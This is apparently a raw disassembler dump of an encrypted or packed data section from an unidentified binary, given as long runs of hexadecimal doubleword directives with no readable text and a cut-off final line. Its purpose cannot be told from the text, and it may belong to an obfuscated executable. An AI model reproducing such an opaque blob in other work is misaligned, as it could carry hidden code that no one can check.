0E9E539F1h dd 10BC3143h, 0D0AA4EFAh dword_5C005C dd 0E91DA842h, 0B0142CAEh, 0EF96CA26h, 28739AD4h, 46822B55h ; DATA XREF: ___:off_444E84o dd 892BCAB4h, 81CD1163h, 6635096Bh, 0A7B57F1Eh, 8B9B43D5h dd 43AF3509h, 9FBC57Eh, 337B8C1Ah, 4F000005h, 0ED6A04Ah dd 3FBDD470h, 0E5FBDAE7h, 2D1AE5A8h, 0D567539Fh, 0C4570AABh dd 0A9C8B953h, 0E937B4CBh, 0C35D6BBBh, 72CBCECEh, 945C4628h dd 72CBD9F5h, 0DA838F28h, 1AD4C739h, 2D278Ch, 0B3830000h dd 0ECA537A0h, 37B5AAEDh, 9927FFA5h, 2B661A3Dh, 2873AA6Bh dd 8169FFA5h, 73A9E4C0h, 0D5749828h, 19FABC04h, 0CC3A8Ch dd 4A880000h, 2F4DE0A0h, 0E4094599h, 0EA004C90h, 0C24FBB8Fh dd 9F2E7124h, 0D72F44E6h, 7BCB594Bh, 63F5BD5Fh, 9F047A1Eh dd 8210450Eh, 0A7F9B9E8h, 891B305Ch, 0DAD761FBh, 305CA7DAh dd 48EC683Ah, 8CFBC632h, 305CA421h, 0CC611339h, 54A8CA60h dd 77019681h, 0B592A73Ah, 98158F37h, 2BBD2AC5h, 0C7B9E876h dd 6CFEA42Fh, 862F4DE0h, 0FC75072Ah, 3C31AA96h, 0F6893E36h dd 0F7000009h, 3F991464h, 60CC611Bh, 9701ACCEh, 0C470FD7Fh dd 32AA4B31h, 47085F5h, 56D6CF69h, 0A2DA7DDFh, 0E98BA113h dd 0A872344h, 2870028Ah, 7812708Ah, 0E34339DCh, 0B83454E1h dd 7005E241h, 83F91CB8h, 44E874F2h, 1CD4EE36h, 0BFD692B8h dd 4DE3E13Dh, 0A0B362A0h, 0EDECA537h, 5F37B5AAh, 0BDD528C5h dd 46D55C5Ah, 73205353h, 3FD1BD28h, 4DE3E13Dh, 9DCD88B8h dd 0F743D4D1h, 3B45990Bh, 96B0F0A1h, 74602873h, 2E0A98E2h dd 7397835Fh, 34D57928h, 1A0E1DE7h, 0A5598Ch, 4A690000h dd 420ED6A0h, 9071CDAFh, 305CC125h, 0C8651725h, 759ACE6Ch dd 879F3B0Bh, 15AB3905h, 4FEABF87h, 28B44ED8h, 0AFE27406h dd 305CC0EFh, 0D6B78321h, 37B5AF03h, 0A9FC7133h, 24641D8Eh dd 0EC2873AFh, 0F1561CB1h, 4DE3ACF1h, 1D742DBFh, 952FC783h dd 3CD17D0Fh, 0AD29B538h, 9004EC88h, 3E72FF7Dh, 863C31E3h dd 8EF194Eh, 6D8E0000h, 22366213h, 0D57BD558h, 76AE0AABh dd 3ADF79F4h, 0FC3DB342h, 7203799Ch, 0A04DCFC6h, 1499E374h dd 4DE092B8h, 83037E28h, 8D287001h, 0A74A097Fh, 5EFC58D5h dd 4A31911Ch, 9844D6A0h, 0A83A0A88h, 0CDC3481Dh, 240CEE0Eh dd 482ECC88h, 5BCD5959h, 5BE9BB30h, 7830BDAh, 5FE98314h dd 671A9EF7h, 305BCD27h, 0D925BBE9h, 6B9E6FCBh, 4B37B4A7h dd 0DA04BD59h, 8706AB33h, 5D233594h, 0AA336424h, 60F6AC29h dd 0B346069Ch, 17A13BC9h, 0AA331A9Ah, 879EFA29h, 45D77705h dd 0B8E9FF3Bh, 310327EDh, 61ED7F25h, 5250AC30h, 0A13C4AE6h dd 0B0A50290h, 0DB966258h, 4031CB58h, 21C1A340h, 0DFDFD2D0h dd 3121C1A2h, 564BDD73h, 2916031Dh, 0DD791391h, 0FDEB47C5h dd 34B9BB51h, 69007298h, 2563632Dh, 6665995h, 0E7000008h dd 2F892454h, 50FC710Bh, 8731BCBEh, 34600D8Fh, 42DA5B21h dd 1460F5E5h, 66E63F99h, 0B2CA6DCFh, 0F97B9103h, 1A971374h dd 286FFF9Ah, 4A62407Ah, 0A944D6A0h, 0B00BF606h, 1466F401h dd 0CC24BAC8h, 0F352DD90h, 27671A5Eh, 0E9305BEDh, 59725BBh dd 0E0A0D16Bh, 30305BECh, 3A44EA72h, 7110D8EAh, 37B4D2E6h dd 247FF6ACh, 950C9E09h, 2FC710B8h, 369E287Ah, 79DB5A24h dd 7D17A1D3h, 86128404h, 0DA168C20h, 0B7203386h, 51066C25h dd 188A27DAh, 4E34C68Eh, 99515353h, 80504418h, 8E9F9CC5h dd 7C0E9C06h, 0F53D3FD0h, 0CCAE4CE8h, 4CEE7670h, 0EB23B35h dd 8614D706h, 8AA024BEh, 0C26D00E8h, 9F29C355h, 9939A2E2h dd 41307218h, 18993A41h, 8F19D1D3h, 0F2215712h, 0AC455F1Fh dd 2C4802E4h, 1EBB2C20h, 0DF000007h, 7B13C3Ch, 48E489F3h dd 0FF59D4A6h, 2C8825A7h, 6AC27309h, 2C48EDCDh, 7EFE1781h dd 0CAB245F7h, 1163892Bh, 0F2AFFB9Ch, 286FFEB2h, 0B37A2862h dd 0ECA537A0h, 37B1037Eh, 5E069012h, 7F69C1BBh, 0A0D479E5h dd 0CEEA465Ch, 1CB8522Ch, 13BF8705h, 4EC8202h, 83FD1FB9h dd 0B3C96DE9h, 45995153h, 58F265F0h, 3D7D34CEh, 2D287004h dd 70043474h, 0CEC6DC28h, 0E26D1CD4h, 4A2FC8E9h, 4E8DCFB3h dd 4FAB6997h, 0DA6801A3h, 0FA3C31A2h, 68B756Ah, 0C9620000h dd 86AA06AFh, 39DF79F4h, 1202AE47h, 9EB31D90h, 60D957DEh dd 169FDD70h, 44E96BBAh, 0B83547E8h, 0F17CFE1Ch, 1F9F128Ch dd 0F1286FFEh, 0A0B3E5DBh, 4FECA537h, 0E337B102h, 8DAF37C1h dd 0A5FD59F3h, 1C5DF27h, 2EB488ECh, 0BF5DFFC2h, 0CE6761BDh dd 542E3629h, 0F957E6D7h, 3E69C8Ah, 0A25F830h, 0F0960B9Dh dd 9C2FC42Ch, 45E87406h, 1DD5EF37h, 4F29C38Bh, 96E00AA6h dd 8094304Eh, 50982AFAh, 0BC02929Dh, 130EB1E6h, 0CDAF4004h dd 0F21AD3Fh, 8614916Dh, 7DF597CBh, 0D4CD891Fh, 930E9850h dd 27DC0FD8h, 8B2DC4DEh, 8B242614h, 5D704BBh, 85960000h dd 3ADE7AFBh, 0ED03AD40h, 5EB6E293h, 52E751DCh, 14158B2Ah dd 4AEB91A4h, 0B835B7EEh, 0EC81FB1Ch, 25C8AA40h, 6B2B6640h dd 0A5286FFEh, 0A04A3197h, 2FA944D6h, 69F9F219h, 0A7257DD9h dd 0B1ED455Fh, 0C076AF37h, 0ECF64E2Ch, 89F8865Eh, 305BD309h dd 2F0B990Bh, 8517618Bh, 0F844C8D9h, 0E8830EEAh, 3248EC4Dh dd 1700A9Ch, 305BD381h, 6DEF2793h, 0B57D1391h, 0BA1F7E33h dd 2D7737B4h, 0BB9430D1h, 0C4482872h, 0E60CF425h, 2E6A8C1Ah dd 5C000000h, 0C71F5DF0h, 0B35775BDh, 0A76F30A0h, 0BC3CF2E0h dd 0E6E59C2Eh, 0AC37B4ADh, 5B772EF6h, 12872ADh, 45BF5CFDh dd 0A18C1AF8h, 0BFh, 0D6A04A01h, 0CDAF420Eh, 0C5B74571h dd 0BDBF5D79h, 0C1665130h, 0D664305Ch, 0A54A12A4h, 0B1790BDBh dd 86A802Ch, 65F66134h, 5CC16C2Ch, 0D9C8A430h, 0A537C55Bh dd 0D238720Bh, 0A606741Dh, 0D02CBB4Ah, 980A37B4h, 44D74215h dd 72D04D4Dh, 4FDDC728h, 0F835C4BDh, 0ED872FC6h, 86F7F4B4h dd 0AA861C20h, 824ADCC6h, 34600D6Fh, 0CCC55F21h, 2086F7CCh dd 6B2B5E44h, 0A52086F8h, 5EC069FFh, 663C316Ch, 493F9EEh dd 0C16A0000h, 7E923EB7h, 31C771FCh, 1A0AA64Fh, 96BB1598h dd 58D14FE6h, 0EA7D578h, 7CF173A2h, 0B03D3FD0h, 0E984F604h dd 27671A84h, 0E9286FFCh, 0A74AEDD3h, 5EFC58D5h, 0B331911Ch dd 89EB01A0h, 0F992FB5h, 34B8E975h, 6F1EDAE8h, 37B5AB70h dd 0C1A07C26h, 2873AAE5h, 5D6779Bh, 8C19F9BBh, 1163Bh dd 6011AB00h, 2873B720h, 4446B2F0h, 0F3B3EE78h, 0D5305CC4h dd 4D573FBDh, 5E1B31E5h, 897D0798h, 29F58BC4h, 10EC88ADh dd 5C234671h, 0E59C3630h, 305C22A5h, 0D9FD356Fh, 0AC4133h dd 0B0478FEAh, 0B51774Eh, 3FCDAF43h, 0B54FD9E7h, 5CBBBCFCh dd 5B4E5430h, 305CBC5Bh, 419DDF7Dh, 99515343h, 628829C4h dd 6CE88210h, 626EB634h, 5153B3CDh, 0E77177C3h, 0BC54544Dh dd 0E6BC305Ch, 9B6C7B0Ah, 0D8CA37B5h, 80170255h, 36C15CF6h dd 0F4DF3B2Fh, 6AE0E149h, 462FC720h, 5E064F5Bh, 113BBF0Dh dd 77059F67h, 6A8F57E1h, 6A036312h, 5BBAF7F5h, 0A43ECF07h dd 0CD58B13Bh, 0B75A7EBAh, 2EBC2CC5h, 44983C31h, 36813h dd 8AEA0100h, 0D7A549EBh, 225CF25Eh, 73F12193h, 0B9C356C2h dd 1783A434h, 59FB7A02h, 8F29C448h, 339D1068h, 0B1D65F19h dd 0FAFCBCF5h, 0E614286Fh, 0D1A74A80h, 5CC4E0A0h, 0DC723030h dd 2B55E751h, 59233591h, 0C4D2D2CFh, 6042305Ch, 4ABD0588h dd 0AA44D6A0h, 3B6E0822h dd 305CC57Bh, 0CDC1BB5Dh, 8BC71BD7h, 479E1761h, 34DA823Dh dd 0C6DEFA4Ah, 54EAF844h, 0C156C19Ch, 9F877A37h, 38D537B5h dd 849E0889h, 0B65A9622h, 0D67E28ECh, 0DDE73F41h, 93107415h dd 0A6B1CC1Ch, 0BA8AF207h, 0F775AC28h, 0EBDAD761h, 4B8B9691h dd 25308559h, 0F06918B2h, 0C283A8F1h, 290164E7h, 0D66490DEh dd 729844h, 7929C36Dh, 6613A1D3h, 8810CA0Ch, 96BF102Ch dd 57000002h, 9F39B4C4h, 0C06C017Bh, 77A14C2Eh, 0A4109D1Fh dd 0D24AEB91h, 0A4D06555h, 0F676AF09h, 423ADD7Fh, 89EB01B3h dd 6A2783E4h, 286FFA2Ah, 4AF2D0EAh, 9844D6A0h, 903C0072h dd 826EFC7Eh, 0F989B6Eh, 0AC45047Dh, 574D37B5h, 489028C5h dd 0D1B843A5h, 420A9419h, 0C465CDAFh, 0AE393428h, 0E361B01Ch dd 82F48103h, 51C28B4Ch, 0E88264CCh, 3A63235Eh, 0F7AD2873h dd 14974A3Bh, 851F2FCCh, 0A4D8F081h, 0CE69BD1Ch, 0A564245Dh dd 0F6AC63FBh, 0E90ED660h, 58EE8EA1h, 356CFE84h, 63FBA575h dd 0BB2D059Fh, 0E597A521h, 9A317C0Dh, 811B6B54h, 99FABAF7h dd 881A5C12h, 12999919h, 0F91F7B5Ch, 2A67F187h, 5C129A6Ah dd 4C30F8AAh, 383B8E56h, 0EB641DAFh, 0C76366F9h, 18F90BDAh dd 85B7C16Eh, 0F9FE8F1Fh, 0B14BD931h, 0F8750715h, 35BCBE5Ch dd 0EFD2A9ABh, 9E645BEBh, 5F000001h, 8731BCBCh, 0C8640973h dd 7FD95426h, 0AC08A527h, 0EA42F389h, 0ACC86D4Dh, 0FE7E9701h dd 4A32C577h, 91E309ABh, 722F7B1Ch, 286FF932h, 78FAA8E2h dd 0FE46C4DCh, 0C4F1B1E0h, 8123305Ch, 799307F3h, 0D46624C9h dd 0BA485AAAh, 7ACA586Ah, 8923B4A7h, 0B5A89118h, 92238137h dd 0A9445253h, 2F5AC3Eh, 0B02FCC82h, 0BB9B2AF2h, 64B97993h dd 67275AC9h, 0A9679795h, 0DED365FBh, 6EF089D3h, 0C89D6143h dd 0C3C3BE2Dh, 4D5FAE89h, 7A37C157h, 6702EA01h, 0F965F7ADh dd 208C2153h, 5C1680Ah, 5DEB7E7Ah, 0F72E81h, 65F60000h dd 1A3E9A1Bh, 0CD63CD60h, 7E9602B3h, 32C771FCh, 0F435AB4Ah dd 6A0B7184h, 0D855D7CEh, 0CA1DB7Ch, 45E88AA0h, 8B0B8620h dd 85286FF9h, 0A04A1177h, 992F4DE0h, 0C465F045h, 22B44A30h dd 0B5A4F46Fh, 56E0C237h, 9C156B8Eh, 2873A51Ch, 0BC18AEF4h dd 870AE664h, 44D641ECh, 5B0F22AAh, 0FF3BC94Bh, 0C7E46C0Eh dd 0B86202Fh, 2086E58Bh, 98BF1F85h, 0F0861CE0h, 0E88AA02Ch dd 0DF7DD945h, 0CB61559Dh, 0B14B55A9h, 978FC15h, 2086E589h dd 30D1198Bh, 469AD46Ah, 6DB1CB6Eh, 8A9A3061h, 18AE3408h dd 963759C4h, 66BEB852h, 0E50FCE5Ch, 86A8044h, 5321CB65h dd 5AD45E5Eh, 5EECB6FAh, 86DF886h, 0C6120D0Eh, 0B4ECC820h dd 1538A436h, 41059F67h, 6E74C8ACh, 17396E82h, 0CDC48076h dd 5EDF74Fh, 74F97B91h, 0FC4032D8h, 8CBh, 0DC781B00h, 0D0EA46C4h dd 0D7A14A72h, 0CFA9430Fh, 0C4B45B77h, 0C7455C78h, 0BEBE537Fh dd 0B5C76A66h, 0B7356D69h, 0B3CD636Fh, 0A9D36753h, 69685E55h dd 89000049h, 8957240Ch, 4C781E7h, 81000000h, 4EFh, 243C8700h dd 2434895Ch, 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h dd 0BD55242Ch, 3CE606C8h, 6AA6ED81h, 0C58309F3h, 7EDC101h dd 0DCE6C581h, 0EE890786h, 4EC835Dh, 83242489h, 5D042404h dd 8B850h, 0E8010000h, 48B3089h, 4C48124h, 8B000000h, 8953242Ch dd 4C381E3h, 81000000h, 4C3h, 241C8700h, 24348B5Ch, 81E28952h dd 4C2h, 4C28300h, 5C241487h, 0FCAD51E9h, 0D8B8DCFFh, 307ECCDh dd 0C4E0FFC5h, 872EBBDAh, 0A246E582h, 7113F0CCh, 0FF7BC4AEh dd 4B669C13h, 0E472AD9Dh, 0BF7212DEh, 0EC258DDAh, 5C6D3BFAh dd 0D3032E21h, 0B772291Eh, 0B9177D65h, 8E6D0647h, 6A055E4Ah dd 0D7060249h, 0FB373CE0h, 906656A5h, 7C1536DAh, 0EA062E95h dd 7C2F77C7h, 846337CBh, 0B33C7BA9h, 533190F6h, 0F17AC21h dd 0B972EA5Dh, 0E82196BFh, 0Ah, 3BCDF2D8h, 2F1C3098h, 0B70F36DCh dd 0B70F59D7h, 0BBC181F6h, 0E900005Dh, 0Fh, 0DD752E77h dd 0ED07A31Ah, 53FDA90Ah, 0BB97D4D1h, 73BAD026h, 0B8E7EB81h dd 0E95273BAh, 0Eh, 592B0521h, 8073EABDh, 0C6CC9D0Eh, 0FF586C4Ah dd 70DC8031h, 5E95Fh, 4C440000h, 81F099ADh, 32A337EFh dd 0F6BF0F22h, 106EEF81h, 0BF0F5ADAh, 0CDC781F3h, 89366A0Eh dd 92BE6639h, 3E983C3h, 0FBF08149h, 4B626636h, 13850Fh dd 0B8660000h, 30E9EA7Fh, 7F000000h, 3220E41Eh, 62A0122Fh dd 8E9DCh, 0D3EF0000h, 5BA9F0D8h, 9CE90070h, 26FFFFFFh dd 2A8FB779h, 0CD715E7h, 46B1104Fh, 51FDC756h, 0E99A87ACh dd 15h, 6A83663Ch, 4 dup(0) dd 54FE900h, 75860000h, 2ACE6A0Bh, 0DD73DD50h, 6EA612A3h dd 42D741ECh, 425BB3Ah, 7AFB8194h, 0A845C7DEh, 1C91EB0Ch dd 55D89AB0h, 7B3B7630h, 95286FF6h, 0A04A0167h, 0E6700ED6h dd 5CC4EBABh, 0B37F2530h, 138EF207h, 305CC493h, 1C91277Dh dd 0B2DFEB82h, 0ADEDEDEEh, 0BEBB5145h, 675645C1h, 9965FBF2h dd 0CB5D1F3Dh, 0B68EEE03h, 2CA8C42Ch, 27927208h, 92B86C0Dh dd 4CE34DE0h, 17812Ch, 0F928A478h, 5A57E17Bh, 305CBD5Ah dd 0EC00E8BAh, 5C55EFBBh, 305CBD5Ch, 4436D8B4h, 77167AB6h dd 48E29ABDh, 0BCC3C3BEh, 574D305Ch, 0C8A65BC6h, 0B57D0DF5h dd 0C6E8C28h, 86F6E37Ah, 123700C7h, 50FC8A26h, 5C66BEBCh dd 0FBDAF594h, 5FB1305Bh, 0A9A31DBEh, 60C38431h, 0E7000000h dd 0ED6A04Ah, 5CC51597h, 5F193330h, 5ADACB87h, 54F51F8Ah dd 4CED07A6h, 30E0358Fh, 3163FA84h, 0A68904D4h, 11C5199h dd 0A6000000h, 8D4A64Ah, 38D2A84Ch, 28007A9Ch, 4AC8D8F4h dd 7EFC14B0h, 0B9537EB2h, 3A40D410h, 81F319BBh, 0A9D872ECh dd 305CC4E9h, 802193D2h, 761ED714h, 4AC6C42Ch, 4D09D5A7h dd 306BD4A9h, 2E942CFCh, 0B1460E98h, 856D77CFh, 0CB729269h dd 0A3B6F419h, 594905D9h, 0EB790BDBh, 0DE7CD855h, 3E961E9Bh dd 7CD5601Ah, 8E8109A2h, 8F527F94h, 0C7455DF9h, 0BD3ED31h dd 785C94E4h, 7C58A4D6h, 74409CDEh, 0A7E79A1Ch, 69305C99h dd 8259A53Bh, 0A31FDB82h, 0D3DDFE9Fh, 58843104h, 6D245AFCh dd 305CA42Dh, 0D72FBDE7h, 5DC865CDh, 9A000000h, 9D5A74Ah dd 0DD1AB4Dh, 0E90DAC40h, 79B1CB6Dh, 31BCB85Dh, 3A0A7287h dd 7204869Eh, 0C4E9A9D8h, 792B305Ch, 0C14D7DB1h, 0D9F9FB18h dd 50758430h, 69000000h, 0CEE2A2DFh, 7032305Ch, 0A74A0AB8h dd 0AA4D09D5h, 0D52953E4h, 38E539CFh, 0F4817514h, 6B7B5AB2h dd 19BD753Fh, 55ED80F4h, 0A1D0A64Ah, 305CC4E1h, 0C4D8D8C9h dd 6A38305Ch, 1AEA782Ah, 5CC5506Bh, 44E50F30h, 30E02D97h dd 14984h, 78190000h, 0E34339DCh, 8BAD09E1h, 0F9932DF1h dd 5CC50888h, 5E9A0830h, 5EA6D07Ah, 42862729h, 823D2ACh dd 0B1E07AEDh, 37B5AD76h, 60F6AF46h, 4E96E80Eh, 8343A134h dd 2B7519D1h, 736A3676h, 36C4DE28h, 2E48E2EEh, 6334019Ch dd 0C847473Ah, 0DBC92872h, 3EEF3442h, 0E57FEFF2h, 56564Bh dd 0E4BE2873h, 72FFF5B5h, 0C1851F28h, 0EEF4482Ch, 0CC849602h dd 63C3512Bh, 2755F965h, 783ACBh, 0F18D2873h, 64B83C55h dd 0CF6E925Eh, 2282F705h, 4BFC3761h, 0AE36C056h, 4150F476h dd 896163C3h, 0F082A804h, 0C272CF66h, 83A395FBh, 738F8E0Eh dd 8E1C8628h, 0A8420EA2h, 962456F8h, 0EA93FD4Eh, 0D3621C3Eh dd 1A168E76h, 153BA38Ch, 0E0A0D16Bh, 3028739Ah, 116B8672h dd 7F000001h, 0A537A0B3h, 8B671539h, 0B8E9831Dh, 305CC4F8h dd 0DFAE8A18h, 37B599E0h, 88EA00CCh, 1EC22EB4h, 942EB884h dd 73999D1Dh, 77768E28h, 707E6683h, 0EAA861Ch, 0B1E392ECh dd 4905D99Bh, 0AD47D1A3h, 7318B4F4h, 0EA465C28h, 0F29BE5B6h dd 0DB5A2436h, 1A8C966Eh, 90019B8Ch, 28732510h, 1B56A200h dd 3Ch, 2DBAB3AFh, 0C4C6E69Bh, 28B4B05Ch, 0D7BB7705h, 109071CDh dd 7B05CC5h, 0F80D30D9h, 8A8D973h, 8305CC5h, 0C4A3E39Eh dd 336D305Ch, 5CC53E7Eh, 3ECCD630h, 71B005A8h, 0D2000000h dd 0A537A0B3h, 0B593F1ECh, 3E3C137h, 41DBA5B7h, 92BAFAB7h dd 485A2873h, 99B31DE0h, 419E07DFh, 0F4287392h, 6D8F39E0h dd 84047D17h, 8C287392h, 92236316h, 0B7ED2873h, 5ED98C21h dd 30423FC9h, 862FC8C2h, 0C2F5B5ECh, 851F2086h, 3E3C1ADh dd 4636D985h, 0A80CE4FEh, 0FB2CF082h, 691327AFh, 0F1BC5D81h dd 2A67F166h, 27DBF358h, 63A74E54h, 0A537A0B3h, 6C485B08h dd 0C8CFA9CEh, 52C35A54h, 0DD5EDB7Dh, 0E00D5E4Fh, 9100E652h dd 37B11DFFh, 0A32FF7ADh, 0EA46EF89h, 3F7F3240h, 19286F1Eh dd 27BD81F3h, 4040316Fh, 0D0286F1Eh, 56AE3CD2h, 0DE699FAFh dd 34CE5895h, 0FF6A3D7Dh, 65CDD7BAh, 869450F9h, 3DDF79F4h dd 6A4A4A47h, 0D8CABAFFh, 409CDE7Ch, 6450AC42h, 2156AE2Ch dd 0CAFDC865h, 28252A82h, 0CBFD9CC0h, 0ADCF6121h, 103A961Fh dd 3299E66h, 79000000h, 0A14AF654h, 0A9430FD7h, 0B45B77CFh dd 455C78C4h, 0BE537FC7h, 0C76A66BEh, 356D69B5h, 0CD636FB7h dd 0D36753B3h, 525E55A9h, 0C281E289h, 4, 4EA81h, 14870000h dd 3C895C24h, 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h dd 68242C89h, 1C8Ch, 57240C89h, 0ECCFCCBFh, 0FB895307h dd 5F5BDD89h, 4EC81h, 24890000h, 24048124h, 4, 4EC8159h dd 89000000h, 418F242Ch, 240C8B08h, 81E78957h, 4C7h, 4C78300h dd 5C243C87h, 5D2434FFh, 0E904C483h, 0FFFCA6B2h, 54FA3A4Eh dd 0D8513194h, 0D495B80Eh, 0C50307ECh, 931CE0FFh, 9C9114E5h dd 0EAA66B42h, 82E92F9Ch, 0CE9A5B91h, 1C6285Eh, 33F864B9h dd 0D9F8773Ah, 0B2A0127h, 48E924A3h, 48000001h, 4C000000h dd 50000000h, 54000000h, 58000000h, 5C000000h, 60000000h dd 64000000h, 0A8000000h, 0AC000000h, 0B0000000h, 0B4000000h dd 0B8000000h, 0BC000000h, 0C0000000h, 0C4000000h, 0C8000000h dd 0CC000000h, 0D0000000h, 0D4000000h, 0D8000000h, 0DC000000h dd 0E0000000h, 0E4000000h, 38h dup(0) dd 67000000h, 3005C13h, 8D00B4C2h, 0ECD54D85h, 11E907h dd 0ADB0000h, 0A803CFF7h, 437EAB8Eh, 0BABF42E6h, 89ED778Fh dd 0ECD68D85h, 0C6D98A07h, 0E9265985h, 7E95407h, 0B000000h dd 532CB680h, 8368E676h, 0E8CA6FA8h, 5, 0EA6E8A53h, 4815E06h dd 0F2BFA624h, 0A5BD8B23h, 0FF07E90Bh, 0E90B11B5h, 0F7816607h dd 858DB02Fh, 7EC9FDBh, 12E9h, 81BDA600h, 23F73E9Fh, 2AA7B85Ch dd 0D9B8CE4Fh, 0FF3A6DEEh, 0DDB503D0h, 8907E90Dh, 0ECD69185h dd 0E9D8B607h, 40h, 80E9CF81h, 8B564552h, 0ECD68DB5h, 83068907h dd 0ECD68D85h, 0C35E0407h, 4DB58D60h, 0EB07ECD5h, 6A560Fh dd 95FF36FFh, 7ECD691h, 4C6835Eh, 75003E83h, 89C361ECh dd 0E911F1BDh, 5FF85707h, 0D73E858Dh, 0ECBB07ECh, 89704486h dd 0E9133585h, 39EB07h, 0CC00B100h, 0E400B102h, 0B102h dd 0E2000000h, 0C44F1EEh, 0CC75E8E2h, 0A521F9EAh, 44CF2EEh dd 0D84DF8A9h, 1E75D287h, 6321D0CBh, 0F351D3F3h, 3949C8E9h dd 0A545FDE2h, 59D317E7h, 0D4A26447h, 0B3C88422h, 0D928E987h dd 0C43BD93Ah, 8F559C80h, 8BAACFD7h, 0A525253Fh, 2BA41587h dd 0E4267596h, 5FF6521Ah, 1F26380h, 689C1FDFh, 9626759Dh dd 18718BF3h, 0A525253Fh, 2BA41587h, 0E4267596h, 5FF5211Ah dd 1F26380h, 0ADF52EDFh, 0BF414A71h, 0A202CD12h, 0BCBC1780h dd 0B3267584h, 694B5C0Ch, 0B42274D2h, 7019C87h, 41A8C144h dd 0D2A098A3h, 4B3998A3h, 0F0649C87h, 0D39D8944h, 0F698F1D9h dd 725D2081h, 0B307C502h, 2D4BCA80h, 962274D5h, 11019C87h dd 0F1A8C644h, 96A098A3h, 693798A3h, 0E6639C87h, 0AD6A0C44h dd 0C43C7907h, 96219C8Fh, 6AA6059Dh, 98FA39ACh, 0C38EB3EFh dd 7EA29325h, 0BB219C87h, 5A218D0Bh, 2D2A7487h, 0A7F09C87h dd 0A14A163h, 0C89DBDB9h, 0E6A0C5F7h, 0D036E1A3h, 0E721F6B9h dd 5A219F6Fh, 0EE7ABC87h, 0B27D15DCh, 6F651D83h, 0A5218983h dd 1172DF87h, 0FCA8FDB3h, 0B3C8951Ah, 0A5E917E1h, 0C42A8D32h dd 0C121F680h, 4B219F6Fh, 667EBC87h, 0F65D15D8h, 4D651D83h dd 0B4218783h, 9976DB87h, 0A3B965A9h, 7E65505Ch, 0C6DE2388h dd 49BE4702h, 8421F680h, 69219F6Fh, 777FBC87h, 7E5515D9h dd 9651D83h, 96218883h, 8877DA87h, 55AAFA0Bh, 0C28C110Ch dd 0B9DE9B6Eh, 994AFE7h, 3C267586h, 30347B06h, 1D25F6E6h dd 0A239050Ah, 2634F480h, 59477E9Fh, 4D251D7Dh, 0A9C6106Ch dd 552C198Eh, 97499B6Eh, 1C9A8514h, 6F251D6Bh, 0E1C7F3B5h dd 3A739CEDh, 69219C84h, 0EEE2C6A7h, 5E05C80Eh, 2905D806h dd 96219C9Fh, 0B0E2CEC5h, 9ECDB02Eh, 5F22CFD4h, 6EC895A2h dd 0B44BC2DDh, 0B2769CEDh, 2D219C84h, 0C9E2C3A7h, 4F05E00Eh dd 0A105D806h, 0D2219C9Fh, 26E2CBC0h, 0C51F0DE3h, 8ADE4A0Ch dd 0C5769CEDh, 96219C84h, 14E2C3A7h, 0A105E00Eh, 0D605D806h dd 69219C9Eh, 0B3E2CBC0h, 65A26932h, 2BAA93E0h, 1F219C87h dd 0A237A93Ah, 0A5287580h, 0FD999C87h, 65DF905Fh, 3DCE38A3h dd 0B6F6E502h, 11C01D80h, 1D3FBCC4h, 49ED997Fh, 20A89C87h dd 0D5CD4BFAh, 0E0395C04h, 58F61D02h, 0E3E1AF80h, 2D219E6Bh dd 964B3674h, 4B2274D5h, 0FF019C87h, 86A8C644h, 2DA098A3h dd 0B43A98A3h, 8639C87h, 89860E44h, 0F55EEC47h, 0BD9E93FAh dd 0B698290Ch, 57E79B6Eh, 6EC8BADEh, 0E221F6C4h, 5A219F6Fh dd 0EE7FBC87h, 0B25515D9h, 6F651D83h, 0A5218883h, 1177DA87h dd 85FE1DABh, 3D7B0AA4h, 0B32F3D02h, 54CFF480h, 1C767F40h dd 7FA0C34Bh, 5332CA3h, 179417F8h, 96267592h, 5D2A8D32h dd 0BDE61D80h, 0A04AD6AAh, 7ABE4702h, 0B9A0FA80h, 2C2E25ADh dd 0D2219C81h, 69211F88h, 64DE9C87h, 0FA4157Bh, 47267594h dd 95C9CA87h, 6B219C87h, 2C7F5FD9h, 5325B8F3h, 7D25B8C3h dd 0F2219C87h, 0DBB25FD1h, 0D65D444Eh, 90AE9387h, 42219C87h dd 4C2ADD1Ah, 0EFA41180h, 0F267590h, 31A8650Ch, 5DC8933Eh dd 0C5729CEDh, 96219C84h, 10E2C7A7h, 0A105C00Eh, 0D605D806h dd 69219C9Ch, 0A4E2CFC4h, 0B935FCA2h, 0A66052B1h, 7F11BD32h dd 12A45A80h, 0F62675A1h, 0BAD217E1h, 0EA30A3F8h, 0B4219B6Fh dd 0BFA5E287h, 0D0F6D061h, 0CFD917E1h, 12059806h, 0CF583C8Eh dd 0D1C9CC87h, 49219C87h, 3D795FDFh, 0DB25B8C3h, 3425B8C3h dd 0D6219C87h, 0A9225FD7h, 0F9AC40FBh, 0D9302978h, 694B9B6Eh dd 0B42274D1h, 4019C87h, 59A8C244h, 0D2A098A3h, 4B3A98A3h dd 0F3679C87h, 99FC3044h, 1401785h, 0B2ECFF2h, 0DFACC548h dd 2ACD035Ch, 7E719CEDh, 4B219C84h, 0FDE2C4A7h, 0D605D80Eh dd 6D05D806h, 0B4219C92h, 9CE2CCC7h, 0A09C15AAh, 7F267591h dd 4B219C8Fh, 0AF0018FDh, 0D9DC0DF2h, 694B4C78h, 0B42274D2h dd 7019C87h, 41A8C144h, 0D2A098A3h, 4B3798A3h, 0F0649C87h dd 0A3C3144h, 4CE0110Ch, 31A89B6Eh, 5DC890B6h, 2D211888h dd 13E79C87h, 4CC8BADEh, 0F421F6D4h, 0D2219F6Fh, 0AA78BC87h dd 906D15DEh, 7E651D83h, 2D218983h, 5570DD87h, 4FC99071h dd 16219C87h, 0B2F98443h, 0BEAAFAE7h, 7BAAFAE6h, 871CCE6h dd 2273CCE7h, 0C679C6B6h, 111093D5h, 942EFDDFh, 8A7BE236h dd 6D05D80Ch, 0EA78CDD1h, 0DC2E9C0Ch, 2D219C92h, 96218C6Eh dd 37BC787h, 1A9B535Fh, 5B238DE5h, 0C7B7DA76h, 90651512h dd 5A2F7583h, 78A79C87h, 5D709E0Eh, 0C9F245F0h, 0F90F7016h dd 87A415DFh, 9626759Fh, 5D2A8D32h, 0C6E71C80h, 0B2FA190Ah dd 964B9B6Bh, 4B2274D1h, 0FB019C87h, 0A6A8C244h, 2DA098A3h dd 0B43998A3h, 0C679C87h, 0AA35D44h, 46DE07E0h, 141B22E1h dd 8AA811B4h, 57A89B6Eh, 6EC88FCEh, 9170110Eh, 0DFE79B6Eh dd 2AC8BADEh, 963275C0h, 